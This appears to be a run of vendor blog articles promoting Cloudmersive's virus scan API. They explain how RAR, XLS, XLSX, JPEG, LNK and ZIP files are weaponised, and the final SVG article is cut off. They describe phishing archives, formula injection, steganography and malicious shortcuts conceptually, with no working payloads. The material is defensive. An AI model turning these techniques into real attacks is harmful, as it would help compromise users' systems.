7ZIP files might appear to be simple compressed folders, but they’re much more. They’re complex containers offering a high degree of flexibility, encryption, and compression. 7ZIP’s advantages make it an extremely useful compressed archive format in legitimate scenarios, and a compelling tool for attackers attempting to slip malware past our perimeter security policies.

To speak with an expert about defending your system with Cloudmersive’s Advanced Virus Scan API, please contact a member of our team.

Roshal Archives (RAR) – named after their creator, Eugene Roshal – are compressed archives used for bundling files together into a single download-friendly or storage-friendly package. They’re comparable to ZIP files in terms of their utility, but they notably offer more advanced compression, error recovery and file spanning capabilities than ZIP does.

While RAR files have myriad practical benefits, they also come with serious security implications – particularly in the context of file uploads, email attachments, and endpoint exposure.

In this article, you’ll learn exactly what RAR files are and how they’re structured. You’ll also learn how they specifically differ from ZIP files – and why that difference in structure can make them a preferred attack vector for certain threat actors. We’ll break down some of the most common techniques used to weaponize RAR archives, and we’ll explore a real-world RAR-based attack and CVE example. At the end, we’ll explain how Cloudmersive’s Advanced Virus Scan API unpacks RAR archives and identifies hidden threats within them.

Understanding How RAR Archives Are Structured

RAR files use a proprietary compression format designed for efficient storage and multi-part archiving. They can carry multiple compressed files and folders, and – unlike ZIP – they natively support the option to split large archives into multiple volumes. This makes it easier to store and transfer larger files via RAR, which is particularly advantageous when file size limitations on storage devices (or email attachments) come into play.

While ZIP files allow for a more open and straightforward file structure, RAR files use a considerably more complex and less extensively documented format. RAR file structure is proprietary, requiring specialized software like WinRAR (the original RAR software, also created by Eugene Roshal) to create, open, extract, and manage it. This largely explains why ZIP is the more popular compressed archive format overall – and it also explains why RAR is considered more difficult to inspect with traditional security tools, especially when encryption or volume splitting is involved. Any archive-based threat vector is a security headache, but RAR is chief among them.

Why RAR Files are Effective Attack Vectors

An opaque format like RAR gives attackers a significant edge in sneaking malicious content past antivirus (AV) scanners. For starters, RAR files support password protection (just like ZIP), and that alone can prevent weakly configured AV policies from inspecting the full archive. Any automated system relying on tools being able to see inside a file and analyze it will need to employ specific policies against secured or encrypted RAR archives to fully vet their content.

The list of RAR-based threats far exceeds basic malware iterations, too. Threat actors can bury malicious scripts, executables, and dozens of other unique payloads deep inside a RAR file’s nested directory structure. The metadata and internal structure of a RAR file can be manipulated to appear harmless - or even to further obfuscate its malicious contents. The multi-volume feature RAR offers can also be exploited to devastating effect; attackers can break malicious payloads into multiple parts, forcing security policies to analyze each part together to identify the cohesive threat.

Common Attack Techniques Using RAR Files

Below, we'll go a few of the most common ways RAR files are used to pass malicious payloads to our environment.

Phishing Attachments

Email phishing campaigns using complex, highly exploitable file types like RAR isn’t anything new – but they remain a pervasive and effective attack vector.

Malicious RAR email attachments can hide any number of unique and dangerous file types – like disguised executable files (i.e., .scr or .exe), for example – which might be engineered to appear as harmless images or PDFs when viewed within the archive. Threat actors like to bury innocuous-looking files within archives to lull users into a false sense of security; once opened, these files can instantly drop malware or establish persistence on the user’s machine.

Payload Obfuscation

Signature-based malware detection and content verification policies work well when an AV engine can directly access the contents of any given file. Since RAR files are compressed archives capable of holding dozens upon dozens of individual files at once, AV engines need to scan all the way through them to identify individual instances of threatening content. If an AV engine scans RAR archives alone for malware signatures, or only validates the RAR structure is well-formed itself – failing to unpack each independent subfile and analyze them for threats independently – it will fail to perform a crucial security function.

Exploiting AV engines which inadequately scan compressed archive subfiles is straightforward for novice and sophisticated threat actors alike. Attackers can compress one malicious file among dozens of clean, legitimate files in a RAR archive to avoid AV detection and additionally increase their chances of tricking victims who open the archive later.

Compressed Multi-Stage Malware Installers

As we covered earlier, the structured, multi-part archive format that RAR offers allows attackers to package and organize multiple files into a single archive file. Attackers can create archives with controlled order and optional compression, making them ideal for staging multi-step installations post extraction.

Multi-step installation in this case means forming a complete attack chain. For example, a single RAR archive might contain an initial dropper script, configuration files, and a secondary payload, and all three components might be coordinated to initiate installation once the archive is extracted.

When investigating malicious RAR archives structured in this esoteric way, even the more advanced security tools won't necessarily analyze the full contents or execution logic. This may result in the executable content appearing suspicious but inert in post-scan diagnostics.

Leveraging Compression to Bypass Upload Restrictions

If a file upload workflow uses filters which only seek to root out obvious executable extensions, threat actors can slip malicious archives past security controls and into the underlying web server with ease. Once the archive reaches the server (or cloud storage container), it may be trusted and subsequently extracted or accessed by another system, allowing the embedded payload to execute indirectly.

RAR Attack in the Wild: Agent Tesla Campaign

In 2020, threat actors used RAR files (among several other compressed archive file types) to distribute the Agent Tesla keylogger – a popular remote access trojan (RAT) used for stealing credentials and tracking user activity. Archives containing executables disguised as PDFs were sent to unsuspecting victims via phishing emails; once they were extracted and opened, the executables quietly installed Agent Tesla in the background, giving the attacker access to victims’ keystrokes and clipboard data.

Even half a decade later, this attack remains a great example of how straightforward it can be for threat actors to embed executable malware within RAR format (and other compressed archive formats). Password protection and misleading file names helped bypass security checks with ease, and straightforward social engineering goaded users into activating the compressed executable content.

Mitigating RAR Threats with Cloudmersive’s Advanced Virus Scan API

Cloudmersive’s Advanced Virus Scan API scans the outer container of RAR files and inspects the contents of the archive – even when files are embedded deep within complex directory structures or contain multiple nested files themselves. This multi-layered inspection makes it possible to identify a wide range of threats, including known malware signatures, executables, scripts, macro-enabled documents, spoofed file content (e.g., executables disguised as images or PDFs), and more.

The Advanced Virus Scan API adds a crucial layer or protection in any environment which allows file uploads, receives email attachments, or handles automated document ingestion in any capacity. Blocking dangerous RAR files before storage, extraction, and subfile opening prevents immediate system compromise and mitigates the risk of downstream threat exposure. The Advanced Virus Scan API can be integrated with individual web applications, deployed at the network edge or in defense of cloud storage containers as a no-code solution.

Conclusion

As powerful, flexible, and downright useful as RAR files are for compressing and bundling files, they also offer threat actors a reliable way to sneak malicious content past weakly configured scanners and unsuspecting users. Their complex structure, encryption capabilities, and ability to effectively obscure payloads positions them as a serious concern for any system accepting files from external networks.

For expert advice in deploying Cloudmersive’s Advanced Virus Scan API, please contact a member of our team.

XLS files are the legacy format for Microsoft Excel spreadsheets. They’ve been around since the early 1990’s, and they continue to show up in business workflows, public data repositories, and (unfortunately) various cyberattack campaigns.

But what exactly is an .xls file? How is it structured, and why does it still pose a security risk? These questions remain relevant - even 18 years after the introduction of modern XLSX format.

In this article, we’ll break down .xls files, compare their structure to modern .xlsx files, and explain why they remain a surprisingly common attack vector. We’ll explore real-world XLS vulnerabilities and explain how Cloudmersive’s Advanced Virus Scan API prevents malicious XLS-based attacks.

Breaking Down Binary File Containers

Before we take a dive into XLS-specific formatting conventions, it’s first important to understand the base concept of a binary file container.

Unlike the plaintext formats (e.g., CSV or XML) we predominantly interact with today, binary containers store data in a tightly packed, non-human-readable format. This includes some familiar structural elements like metadata, content blocks, formatting instructions and (sometimes) embedded objects – only they’re all wrapped inside a single binary shell.

If there’s one noteworthy benefit to binary containers, it’s that they allow for efficient content storage and rich formatting. Unfortunately, however, they also make file inspection and validation dramatically harder than text-based file alternatives. Because binary data isn’t visible to users – and may contain multiple layers of encoded content – attackers can easily leverage binary file complexity to bury malicious payloads and improve the chances of bypassing basic antivirus (AV) scanning tools.

How XLS Binary Containers Are Structured (and How That Differs from XLSX)

XLS binary containers are built using the Binary Interchange File Format (BIFF) – a proprietary Microsoft format which predates XML-based standards. BIFF structures .xls files as a sequence of binary records, each one beginning with a type identifier and length field (and followed by data). In this structure, worksheets, formulas, formatting, and embedded objects alike are all encoded in compact, binary chunks.

This is remarkably abstract when compared to ZIP-archived Open XML standard which Microsoft now uses. Excel .xlsx format – the modern equivalent to XLS, introduced in 2007 along with all other Open XML formats (DOCX, PPTX, etc.) – consists of multiple XML documents packed inside a structured and compressed folder system. Because XLSX it’s XML-based, it’s both human-readable and easier for most applications to parse. The attack surface for obscure exploits is much smaller this way, though it’s important to note that XLSX is an equally potent attack vector in its own right.

The critical point here is that XLS is opaque and unpredictable by design. It was never meant to be dissected and sanitized, which makes it really challenging to reliably investigate for threats. The binary format allows for all kinds of embedded content – including OLE objects, macros, and encoded payloads – to hide quietly in the background. As such, XLS files can serve as super innocuous carriers for a wide range of attacks.

XLS as a Threat Vector: Attack Methods and Risks

XLS is still a popular threat vector for modern attackers thanks to its complexity and legacy status. We won’t cover every single possible XLS vector in existence here – but we will break threats down into three common categories:

1. Malicious .xls files sitting at rest
2. Specially crafted XLS files designed to exploit vulnerabilities in relevant parsers
3. Email-based social engineering attacks with XLSX files

Threat-loaded XLS Files Sitting at Rest

When malicious XLS files are uploaded through a web form, API, or any external source and enter cloud (or on-prem server) storage, they can lie dormant indefinitely. At that point, they’ve bypassed perimeter security policies, and there’s no guarantee they’ll be detected at rest before they’re accessed and opened by someone with database access.

These files can be downloaded and opened by unsuspecting employees or customers, triggering embedded macros, OLE objects, or shell commands to execute in a sensitive environment. If they’re executed with the right level of permissions within a network, the ensuing breach can set a business back years – or even put them out of business entirely. Many ransomware campaigns, for example, begin with insecure file uploads via XLS, XLSX, and other similarly common file types.

Specially Crafted XLS Files

Backend servers that process or preview XLS content – think data extractors or document converters, for example – typically rely on specific well-known libraries to handle their core processing logic. When it’s discovered that these libraries have unpatched vulnerabilities, threat actors are often the first to know – and it’s a short leap from there to crafting “special” XLS files that exploit these vulnerabilities. Successfully exploiting a parser vulnerability with a specially crafted XLS file can lead to memory corruption, remote code execution, and even data exfiltration.

As a side note on this topic: it’s important to bear in mind that threat actors aren’t beholden to strict regulations or corporate standards; they can generally move quickly and nimbly to initiate attacks. On the flip side, large enterprise technology teams are often bogged down in red tape. No matter how quickly a vulnerability is identified and patched, there’s always a chance that an attacker (or group of attackers) moved to exploit the vulnerability before it was fixed. As such, malformed files should be screened for rigorously – as rigorously as we might check for any virus or malware signature – before entering any backend parsing workflow.

Email-based social engineering with XLS

Email campaigns continue to be the most common vector for file-based attacks today. Attackers continue to distribute .xls files via phishing emails, disguising them as invoices, receipts, internal memos, and other seemingly routine data sets. Responsibility for mitigating this vector tends to fall on the network user these days, given the ubiquity of corporate anti-phishing training – but that doesn’t mean there shouldn’t be exhaustive network perimeter security policies screening email message containers for malicious XLS content.

The dangers of executing malicious XLS attachments are simply too great to gamble on. These files can run malicious scripts, launch payloads, and even connect directly to remote servers. In certain business departments – especially finance or operations, which might deal with thousands of legacy and modern spreadsheets each year – legacy file formats like XLS can still bypass user skepticism.

Historical Example: The 2017 Cobalt Strike XLS Campaign

Back in 2017, a few financial institutions in Eastern Europe were targeted in an XLS-based attack. Attackers used .xls files to distribute Cobalt strike beacons; the payload was embedded using an OLE object which executed PowerShell scripts after the document was opened. The attack was widely effective, pairing clever social engineering tactics with a legitimate-looking spreadsheet format.

Security tools and awareness have improved since this attack occurred – but the underlying approach nevertheless remains highly relevant. Enterprises of all shapes and sizes can still expect to receive .xls files in legitimate workflows, especially from legacy systems or foreign partners. Any system that accepts and stores .xls needs to treat them as potential threats, even if they look like ordinary spreadsheets.

How Cloudmersive Mitigates XLS-Based Threats

Cloudmersive’s Advanced Virus Scan API identifies threats hidden within .xls files before than can reach sensitive system locations. It looks beyond surface-level content, examining the internal structure of the file and catching threats that might’ve been buried in embedded components or malformed areas to exploit parser vulnerabilities. Even the most seemingly harmless files are rigorously evaluated for signs of obfuscation – or any signatures and behavioral patterns linked to malware.

This deep verification approach to content inspection is especially valuable to abstract legacy formats like XLS – which were never designed with modern security expectations in mind.

Whether a file contains hidden payloads, suspicious objects, or extremely subtle indicators of tampering, the Advanced Virus Scan API offers a comprehensive front line of defense; one that’s highly practical for security document-heavy Enterprise environments without slowing down operations. The API can be integrated with an existing web application with minor code changes, or deployed strategically as a no-code product in defense of web infrastructure and cloud storage containers.

Conclusion

Despite being a legacy technology, .xls files are far from obsolete in the modern threat landscape. The binary file structure and support for embedded objects gives them unique utility in concealing malware and exploiting backend system vulnerabilities. Modern infrastructure must continue to contend with old formats; ignoring this risk can lead to devastating consequences.

To learn more about protecting your system with Cloudmersive, please contact a member of our team.

Overview

In this article, we'll learn what XLSX files are, understand the Open XML file structure, and examine the risks associated with uploading and processing Excel XLSX spreadsheets in web applications.

We'll highlight the most common ways attackers embed threats within them, and draw a distinction between XLSX and macro-enabled XLSM threats. At the end, we'll discuss how the Cloudmersive Advanced Virus Scan API mitigates XLSX-based threats.

Understanding XLSX File Structure

Since its introduction in 2007, XLSX has been the default format for spreadsheets created in Microsoft Excel. Unlike its predecessor XLS – a binary container format – XLSX format is based on the same Open XML standard all modern MS Office documents use. It’s essentially a ZIP archive containing a structured collection of XML documents and related files; this includes worksheets, styles, shared strings, and relationships which collectively define the document’s content and formatting.

Because they’re ZIP-based containers, XLSX files can be converted to ZIP (using the .zip file extension) and unzipped to manually inspect – or modify – their content. This architecture, while useful for extensibility and performance, also opens an enticing door to threat actors. By diving into the XLSX archive, threat actors can cleverly hide malware and even exploit critical flaws in the tools that parse Excel documents.

Weaponizing Excel

When we think about Excel-based cyberattacks, we might imagine a suspicious document emailed to us along with a message encouraging us to open the file quickly. We might envision this document packed with malicious macros ready to execute after a mistaken double-click. While macros remain a concern in certain contexts, they aren’t directly supported by files with the XLSX extension; macro-enabled Excel documents require an XLSM extension instead. Threats embedded in XLSX documents take different forms.

Common attack tactics with XLSX files include the use of OLE embedded objects, external resource references, formula injections, hidden payloads in cells or sheets, and metadata abuse – all of which can lead to devastating outcomes equaling the severity of macro-malware-based attacks.

Let’s break each of these down.

Embedded Threats via OLE Objects

While XLSX files don’t support macros like old XLS files used to, they do still support embedded objects through Object Linking and Embedding (OLE). That means threat actors can insert other instances of MS Office files (e.g., .docx, .pptx, or even .xlsm) into the XLSX container. These files can carry malicious content of their own – including insecure external links and macro malware. As such, OLE is an effective method for threat obfuscation which harnesses the complexity of the XLSX container.

To properly evaluate the risk of an XLSX file, a system must be capable of unpacking and scanning these embedded objects.

External Resource References

Linked cells or charts in an XLSX file can carry references to external resources – such as remote web URLs. Excel might attempt to access these external sources the moment the file is opened. If those links were placed there by a threat actor, this could mean incidentally downloading a malicious payload or potentially exposing user data.

It’s possible for attacks of this nature to avoid user interaction entirely. If, for example, a client-side file upload system automatically parses XLSX files (e.g., to extract to contents or preview data), the parser might inadvertently trigger the malicious connections, leading to server-side exposure or data leaks.

Formula Injection

While it’s less commonly seen in the wild, formula injection is still a noteworthy XLSX attack vector. Threat actors can embed malicious formulas in cells which are later exported to (or processed by) backend systems in the target environment. Non-standard Excel functions like =cmd, for example, can execute operating system commands from within the document or access malicious URLs.

This risk is significant if the Excel application exports or reprocesses this data into other environments (e.g., CSV or HTML). This scenario can trigger automatic actions when the file is opened by unsuspecting users.

Hidden Cells and Sheets

Threat actors can embed malicious scripts, encoded payloads, and even encoded phishing links into hidden areas within an Excel file – including hidden rows/columns and concealed cells. There’s a good chance these areas of the file will be overlooked by users, and a possibility weakly configured scanners won’t dig deeply enough into the file.

This is another case where deep verification of the XLSX file content – including full cell parsing and validation – is critical to avert a major attack. Surface-level file validation or rudimentary signature scanning might miss dangerous and weakly obfuscated threats like these.

Metadata Abuse

The metadata layer of XLSX files stores document properties including the author, company, creation date, and custom tags. This part of the file is easily accessible when the XLSX archive is unzipped. Threat actors can hide links, command fragments, or misleading information within the metadata layer. In some cases, malware indicators – and even command-and-control (C2) URLs – have been discovered buried in Excel document properties.

A Quick Note on XLSM Files

As discussed earlier, while XLSX files have limitations on embedded macros, XLSM files are explicitly designed to support macros — and that makes them a completely different beast.

Macro-enabled XLSM files allow for the embedding of VBA code directly into the document. This code runs with the same privileges as the Excel user; when macros are executed (or bypassed through social engineering) with high enough employee privileges, attackers can execute arbitrary system commands, drop secondary payloads to initiate follow-up attacks, or exfiltrate data.

It’s standard practice for file upload workflows to ban XLSM entirely or require strict sandboxing and inspection before processing. It’s still possible to obfuscated XLSM files by hiding them within other file types – including XLSX or any other file type in the MS Office suite.

Preventing XLSX Threats with the Cloudmersive Advanced Virus Scan API

The Cloudmersive Advanced Virus Scan API deeply inspects XLSX files to detect malicious content hidden within even the most obscure parts of the file structure.

When processing XLSX uploads, the Advanced Virus Scan engine unpacks the archive and checks for OLE-embedded objects – including other MS Office documents or other nested files – ensuring that threats hidden within subfiles are detected even when the parent file does not contain direct threats. Additionally, other file types masquerading with the XLSX extension and icon are rooted out via deep content verification, which identifies content that fails to conform with strict XLSX formatting standards.

Further, External Resource Links are flagged: the API identifies embedded links to remote resources (such as URLs in cells or charts), preventing unwanted connections and data leaks during downstream processing. Each cell within the file is checked for scripts with hidden payloads, malicious formula patterns are flagged to prevent accidental execution, and risky metadata values render the file invalid.

Integrating the Advanced Virus Scan API into your upload flow provides strong, context-aware protection that goes beyond surface-level scanning. This is ideal for enterprise workflows that depend on safe ingestion of third-party XLSX files.

Conclusion

Excel XLSX format is deceptively simple on the surface, while underneath lies highly exploitable document structure. While XLSX files are ubiquitous in business workflows, treating them as “safe by default” is a major risk. Attackers are counting on enterprise antivirus (AV) software and users to glance over spreadsheets without fully verifying what lives under the hood.

To learn more about defending against insecure XLSX files with the Cloudmersive Advanced Virus Scan API, please contact a member of our team.

The Ubiquity of JPEG Uploads

JPEG images are one of the most common file types on the internet. Profile pictures, product photos, design mockups, social media content; all of these are highly likely to be a JPEG image. The small size and wide compatibility of JPEG make it the go-to format for fast, efficient visual content sharing and quick image rendering and display on web pages.

While JPEGs might look harmless (and most are), they're capable of carrying far more content than meets the eye. Threat actors have found several effective ways to weaponize JPEGs over the years – including pixel-level malware concealment, embedded script injections, and even exploitative malformed headers.

In this article, we’ll examine JPEG file structure at a high level, and we'll understand how this extraordinarily common file type can be abused. We’ll learn how malware can be concealed within JPEGs using steganographic techniques, and at the end, we’ll discuss practical JPEG threat mitigation with the Cloudmersive Advanced Virus Scan API.

Understanding JPEG Structure

Getting to know JPEG file structure is the first step toward understanding how file anomalies and hidden malicious code can occur within a JPEG file.

JPEG Compression Basics

Compared to other common image formats, JPEG is best known for its lossy compression, which reduces the size of an image while maintaining an acceptable level of quality. JPEGs shrink and store image data using a series of compression algorithms which eliminate redundant, non-essential information from the original image.

Segmentation

JPEG format is composed of multiple segments, including headers, data markers, and the compressed image data itself. The most critical part of a JPEG file is its compressed image block, which contains its actual pixel data in its highly compressed and efficient binary form.

Discrete Markers

JPEG files rely on a series of discrete markers to define their structure. The header of any JPEG includes metadata like dimensions, color models, and compression parameters, while the body stores the compressed data stream. These markers also enable progressive rendering, allowing JPEGs to load in stages of increasing detail. This structured yet flexible format — especially the binary payload area — gives threat actors the opportunity to embed malicious content or hidden data, all without altering the visual appearance of the image.

Why JPEGs are Effective Attack Vectors

Attacks leveraging JPEGs are nothing new. The format was created and standardized in the early 1990’s, and it didn’t take long for cybercriminals to find ways to exploit it. JPEG format remains a highly effective attack vector today in large part because of how mundane and familiar it appears to the average user.

JPEGs are a great malware-smuggling tool for attackers targeting upload forms, social platforms, or webmail portals. If a threat actor can slip a malicious JPEG through a network edge, their chances of launching a successful attack thereafter increase drastically. At that point, the file has likely reached a storage location where system users might open it, or other smuggled malicious content might be capable of executing it.

Default validation techniques like file extension checks or basic antivirus scans often fail to recognize complex risks hidden deep within JPEG structure. JPEG images can be manipulated to include scripts, hide malicious payloads in their metadata sections, or carry malformed content designed to exploit specific flaws in vulnerable image processing libraries.

Understanding Steganography: Hiding Malware in JPEG Images

One of the most common and concerning techniques used to weaponize JPEGs is pixel steganography — the practice of hiding malicious content (or exfiltrated data) within the pixels of an image.

In upload-based attacks, pixel steganography effectively turns JPEGs into Trojans (malware disguised as legitimate software), ensuring the malware within the file remains invisible to the human eye. Images packed with malicious pixels can appear completely normal and display apparently harmless content once opened.

Threat actors can embed executable code, scripts, or payload instructions into normal images with only slight alterations to pixels values or miniscule manipulations of image metadata. By uploading a malicious decoder along with the obfuscated JPEG into a target environment, threat actors can extract and execute their obfuscated malware within the target environment.

It’s also worth noting that steganography can be used in "reverse" to exfiltrate data – i.e., smuggle exfiltrated data away from a target system via outbound images. This advanced technique has been used by nation-state actors, cybercriminals, and even malware frameworks in the wild.

CVE-2024-38407: Memory Corruption in JPEG Encoder Driver

One vulnerability discovered relatively recently - CVE-2024-38407 – offers a strong example of a non-malware JPEG exploitation.

This specific case relates to the JPEG Encoder driver. A memory corruption was found to occur while processing specially crafted input parameters for any Input/Output Control (IOCTL) call. This flaw could be triggered by maliciously crafted JPEGs, and it could allow threat actors to execute arbitrary code in the target environment or cause a system crash.

This issue highlights the risk of processing JPEGs that appear legitimate - even those which achieve "clean" readings in virus and malware signature scans. Malicious JPEGs don’t need to contain stenographically concealed malware to exploit vulnerabilities file decoding processes; they can be intentionally malformed to push vulnerable file readers past their limits and create subsequent attack opportunities.

The key takeaway: JPEGs should never be processed if malformed data of any kind – especially suspicious characteristics which deviate from strict JPEG formatting standards – is identified within the file. Deep content verification is the best defense in this case.

Deep Image Analysis & Verification with the Cloudmersive Advanced Virus Scan API

Cloudmersive’s Advanced Virus Scan API is designed to protect applications and systems effectively from a wide range of file-based threats all at once. It doesn’t treat a JPEG as a simple picture — it treats it as a complex, dangerous data object that needs to be unpacked and verified piece by piece.

The Advanced Virus Scan API leverages a combination of traditional signature-based malware scanning, behavioral analysis, and structure validation to inspect JPEG contents for known exploits, malformed structures, and embedded threats hidden from the human eye. It’s capable of identifying not just overt malware, but also suspicious file characteristics, headers, and metadata anomalies that may indicate something malicious is hidden. It confirms that JPEGs rigorously conform with strict standards laid out by the format provider, treating deviations from that norm as serious security threats.

The Advanced Virus Scan API also protects against image-based denial-of-service attacks by inspecting decompression behavior and memory usage patterns — so even oversized or intentionally malformed JPEGs won’t slip through.

Bottom Line: Don’t Trust What You See

Just because an image looks nice, appears to come from a trusted source, or opens in a browser as expected doesn’t mean it’s safe. JPEGs are easy to manipulate, commonly shared, and still very often trusted implicitly by enterprise system users— which is exactly why attackers will continue to abuse them.

Integrating Cloudmersive Advanced Virus Scanning at the point of upload means you can prevent malicious JPEGs from ever reaching your users or systems. To learn more about protecting your system with Cloudmersive, please feel free to contact a member of our team.

The Weaponized Shortcut

LNK files — Windows shortcut files — are designed to make our lives easier. They point users toward applications, documents and directories, allowing them to access content quickly without spelunking through dozens of folder paths. They’re small, flexible, and generally considered to look innocuous.

And that’s exactly what makes them dangerous.

Threat actors can manipulate LNK files to far exceed their file- and folder-opening mandate. In the hands of a sophisticated attacker, LNK files become stealthy execution vehicles capable of executing and launching malware without raising any alarm bells. These tiny shortcut attachments can be the first step in a cascade of attacks.

Understanding LNK Files

Understanding how LNK files are intended to operate is a key part of grasping the risk they pose in file upload environment.

LNK files are designed to be quick access points to executable files or applications in a system. This ensures programs don’t have to be duplicated throughout a system for users to access them outside their home folder. LNK files point to the original file’s location on disk, and they store metadata including the target path, working directory, and – in some cases – custom icons or arguments used during execution.

It’s no exaggeration to say LNKs are a staple of the Windows user interface; they fundamentally improve user experience on the OS. They’re used widely across desktops, Start menus, and file explorers to make accessing programs and files as easy as possible. Because LNKs are so commonplace (and often overlooked), they present a unique challenge from a security perspective. They can appear benign – seemingly pointing to a harmless application or document – all while carrying malicious payload injections.

Why Attackers Leverage LNK Files

The fact that LNKs are inherently executable makes them an obvious target for attackers. They don’t require macros or complex user interactions to trigger; they can execute payloads the moment a user clicks on them. In many cases, the victim won’t even notice anything unusual is happening in the background.

Malicious LNKs are often disguised with icons familiar to Windows users – like PDF, folder icons, Word docs, Excel docs, etc. – and they tend to bear misleading, trustworthy names. Default Windows behavior will inherently hide double extensions like “file.pdf.lnk”, which further reduces user suspicion (users will only see “file.pdf” before they click on the file in question). Some phishing campaigns have also involved compressing LNKs inside ZIP or RAR archives to bypass email filters.

It’s common for threat actors to craft LNK files which appear to open a specific document or folder in the user’s environment – but actually run PowerShell or CMD commands to download and execute remote malware in the background. It’s not just a theoretical risk; it’s one of the most actively exploited file types in modern cyberattacks.

Real-World Attacks with LNK: APT28 in Focus

In 2017, APT28 (also known as Fancy Bear or Sofacy) launched a targeted cyber campaign against certain entities in Japan. A key element of the attack involved the use of malicious LNK files embedded within ZIP archives.

One executed by unsuspecting users, these shortcut files triggered PowerShell scripts that downloaded and executed secondary payloads. This effectively compromised victims’ machines without raising immediate suspicion – a key factor in the success of any large-scale cyberattack.

While this case occurred 8 years ago, it nevertheless reinforces why LNK files are such a dangerous format: they provide attackers with the ability to execute arbitrary commands while appearing as ordinary files to the end user.

Case in Point: CVE-2020-16933

An incident from 2020 serves as another interesting example of LNK exploitation. CVE-2020-16933 exposed a security bypass in Microsoft Word which allowed attackers to use malicious LNK files to execute commands as the current user. In this case, no advanced privilege escalation or exotic techniques were required; a threat actor simply needed to convince a victim to open a Word document containing a specially crafted LNK reference.

While this flaw has since been patched, it still highlights a broader issue: even the most trusted applications can mishandle shortcut files in dangerous ways.

This vulnerability also served as a reminder that file security isn’t just about blocking certain file types we know might be dangerous — it’s also about understanding how those files behave after they’re processed.

Why File Filtering Often Fails

The unfortunate reality is that file filtering approaches — such as checking extensions, verifying MIME types, or running lightweight antivirus (AV) scans to check for malware signatures — are often ineffective against LNK attacks.

It’s critically important to remember that a malicious LNK file doesn’t need to hide a virus directly, it just needs to point to one. Unless an AV scanner inspects the commands embedded within an LNK shortcut and understands exactly what they’re pointing to, it won’t detect the underlying threat.

Some weakly configured security tools even skip LNKs altogether, treating them as low-risk or system-native files. This assumption can be catastrophic, and it’s a threat actor’s dream come true.

Deconstructing LNK Files with the Cloudmersive Virus Scan API

The Cloudmersive Advanced Virus Scan API inspects the command execution path embedded in LNK shortcuts, analyzes shell commands for signs of obfuscation or remote access behavior, and checks whether embedded links point to dangerous payloads.

The API’s behavioral detection engine inspects what the LNK is attempting to do, not just what it claims to be. It flags suspicious command-line operations, checks for encoded PowerShell strings, and traces the execution chain down to the payload.

Along with deep content verification, it also leverages a continuously updated list of 17 million+ virus and malware signatures to identify known malware threats. The threat database is updated every 15 minutes with new data from public, private, and Cloudmersive research databases.

Proceed with Caution

LNK files need to be inspected deeply, just like any other executable. It’s important to treat every shortcut as a potential security risk until it’s proven safe. That can mean deleting LNKs outright or quarantining them for further analysis.

To learn more about blocking LNK threats with the Cloudmersive Advanced Virus Scan API, please feel free to contact a member of our team.

Introduction

In this article, we’ll examine the security risks posed by ZIP file uploads, explore real-world attack techniques like ZIP bombs and double-extension spoofing, and outline how to detect and mitigate hidden threats with deep content verification using the Cloudmersive Virus Scan API.

The Compressed Convenience

ZIP files are extremely popular for bundling and sharing content. They reduce file sizes and preserve folder structures, facilitating the transportation of numerous files in a single upload package. From sharing resume and image sets to storing legal archives and app bundles, utilizing ZIP uploads is standard practice for countless platforms.

The convenience ZIP offers with compression has a darker side, however – and this makes them an extremely attractive attack vector. ZIP uploads are like any sealed box; if you simply pass them along without thoroughly inspecting their contents, you’re accepting a very high degree of risk.

Why Attackers Love ZIP Uploads

Simply put: ZIP files are a nightmare from a security standpoint, and a dream for attackers.

Not only are ZIP files excellent at hiding content via mass compression, but they can carry anything – including scripts, executables, and seemingly legitimate documents (or other archives) with their own nested subfile trees. They’re easy to manipulate, too; attackers can spoof ZIP filenames, use misleading folder paths within them, or insert deeply nested structures to avoid threat detection.

A threat actor could, for example, upload an innocuous ZIP file labeled “Client_Contracts.zip” through an application portal, and that archive could contain anything from a DOCX laced with malicious OLE objects, an EXE file with a misleading name or spoofed extension, or a chain of files designed to work together in executing a payload once unpacked.

Each individual file within a malicious ZIP archive requires its own undivided attention to mitigate disaster. Threat actors are counting on weakly configured security policies to admit their payload without thorough inspection.

Real Incidents, Real Damage

One infamous ZIP attack tactic involves hiding a malicious executable inside a ZIP archive with a double extension (invoice.pdf.exe) and a PDF icon for good measure. When the “PDF” is extracted and launched, the user believes they’re opening a harmless document — when they’re actually triggering malware execution.

Another common attack method involves the use of ZIP bombs – archives designed to decompress into massive volumes of data and crash the system (or weakly configured scanning engine) they were opened in. This type of ZIP-based attack can crash systems and serve as a smokescreen for follow-up attacks.

In many high-profile network perimeter breaches, the attacker’s initial system access originated from a ZIP file uploaded to an application with insufficient inspection protocols.

The Limits of Standard File Upload Filters

Common approaches to upload validation tend to fall short when it comes to investigating ZIP files. File extension checks, MIME type validation, and basic signature-based antivirus (AV) scans aren’t sufficient for uprooting dozens of potentially malicious files or identifying a ZIP bomb.

A traditional scanner might inspect the ZIP archive’s outer shell and stop there — completely ignoring what’s inside, how deep it goes, or whether the structure itself is dangerous.

Unpacking ZIP Archives with the Cloudmersive Advanced Virus Scan API

Cloudmersive’s Advanced Virus Scan API doesn’t treat ZIP files as static, independent documents. It treats them like dynamic collections of files, each requiring independent content verification.

Deep verification of ZIP files includes recursively unpacking archive contents, no matter how deeply nested they are. It also involves scanning each individual file inside the archive, using a combination of signature-based and behavioral detection techniques.

Overloaded archives are analyzed in-depth to prevent decompression-based denial-of-service attacks, and malicious subfiles are identified based on their content types and behaviors (this roots out disguised .exe, .js, .scr, .py, and other high risk spoofed content) rather than the extension or icon they present.

The Advanced Scan API doesn’t just look — it understands what’s inside.

Bottom Line: Open Carefully

ZIP files are too common — and too dangerous — to trust without proper inspection. Letting users upload compressed archives without scanning them is like accepting a sealed package from a stranger and tossing it straight into your server room.

With Cloudmersive’s Advanced Virus Scan API, you gain the ability to open those packages safely — inspect everything, reject what’s harmful, and protect your users and infrastructure without slowing things down.

If you're interested in learning more about file upload protection with the Advanced Virus Scan API, please feel free to contact a member of our team.

Introduction

In this article, we’ll examine the security risks associated with Scalable Vector Graphics (SVG) file uploads, explore how attackers have used SVGs in real-world attacks, and highlight effective SVG-threat mitigation strategies with a focus on using Cloudmersive’s Advanced Virus Scan API.

The Appeal of SVG

Scalable Vector Graphics (SVG) files are a modern staple for websites and applications. They’re lightweight, resolution-independent, and easy to manipulate with code — all of which make them ideal for icons, logos, charts, and UI elements. Because SVGs are built on standard XML, they’re also easy for developers to generate and dynamically modify.

Not all developers share the same vision when it comes to modifying SVG content, however. Unfortunately, the same features that make SVG format so powerful also open it up to some of the most dangerous file-based vulnerabilities in modern web development.

Why SVG Files Are High-Risk

